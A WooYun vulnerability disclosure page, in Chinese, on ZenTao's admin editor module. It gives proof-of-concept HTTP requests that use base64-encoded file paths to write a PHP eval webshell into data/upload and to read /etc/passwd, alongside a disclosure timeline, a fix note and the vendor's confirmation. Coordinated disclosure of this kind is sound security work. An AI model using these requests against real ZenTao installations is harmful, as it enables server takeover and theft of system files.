当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076130

漏洞标题:禅道漏洞第二弹后台读写任意文件/getshell

相关厂商:禅道

漏洞作者: papaver

提交时间:2014-09-15 18:48

修复时间:2014-12-14 18:50

公开时间:2014-12-14 18:50

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-15: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商已经确认,细节仅向厂商公开
2014-09-23: 细节向第三方安全合作伙伴开放
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-14: 细节向公众公开

简要描述:

说好的禅道漏洞第二弹,不过跟第一个一样,还是有利用条件,那就是进入后台了
多少有些鸡肋,但是危害很大

详细说明:

漏洞1: 任意文件写入漏洞 自评风险:严重
问题出在这里

QQ20140913-4@2x.jpg


这里新建方法的时候,其实会写到限定目录的,限定后是无法访问的所以这里,即使成功写也无法利用。不过,我们能跳出它的限制
老规矩,看poc
POST /zd/www/index.php?m=editor&f=save&filePath=L3Zhci93d3cvemQvd3d3L2RhdGEvdXBsb2FkLzEucGhw&action=newPage HTTP/1.1
Host: 172.16.0.128:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=edit&filePath=L3Zhci93d3cvemQvbW9kdWxlL2luc3RhbGwvZXh0L2NvbnRyb2wvaW5mby5waHA=&action=newPage&isExtends=
Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
fileContent=<?php@eval($_POST['test']);?>
filePath 的值其实是目标文件的base64的编码值,所以,这里只要修改下就可以搞定了,当然,你得找个既能写入又能访问的目录,明显,data/upload/就是我们要的

QQ20140915-1@2x.jpg


QQ20140915-2@2x.jpg


直接拿到后门了。是不是很简单,别问我怎么得到物理路径的,随便到处都是,编辑的地方都有。
漏洞2:读文件 自评风险:高危
这个其实根据上面那个发现方法一样,利用方法也一样,只是这次换成读任意文件。
看poc:

QQ20140915-3@2x.jpg


GET /zd/www/index.php?m=editor&f=edit&filePath=L2V0Yy9wYXNzd2Q=&action=override&isExtends= HTTP/1.1
Host: 172.16.0.128:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=extend&moduleDir=install
Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6
Connection: keep-alive
L2V0Yy9wYXNzd2Q= 这个就是/etc/passwd的base64的值了

漏洞证明:

一直觉得这个证明的框有些多余,每个漏洞说明的时候其实就加上证明了。
个人测试了5.2 ,5.3 ,6.2 三个版本,都存在这个问题。只要你有后台权限,肯定拿shell的。
其中,url换成伪静态的时候远离也一样,那一长串就是目标文件的url的base64,记住这个就好了。

修复方案:

老生常谈了,限制限制还是限制,不能想读那个就读那个,想写那个就写那个啊,

版权声明:转载请注明来源 papaver@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-09-20 13:46

厂商回复:

最新状态:

暂无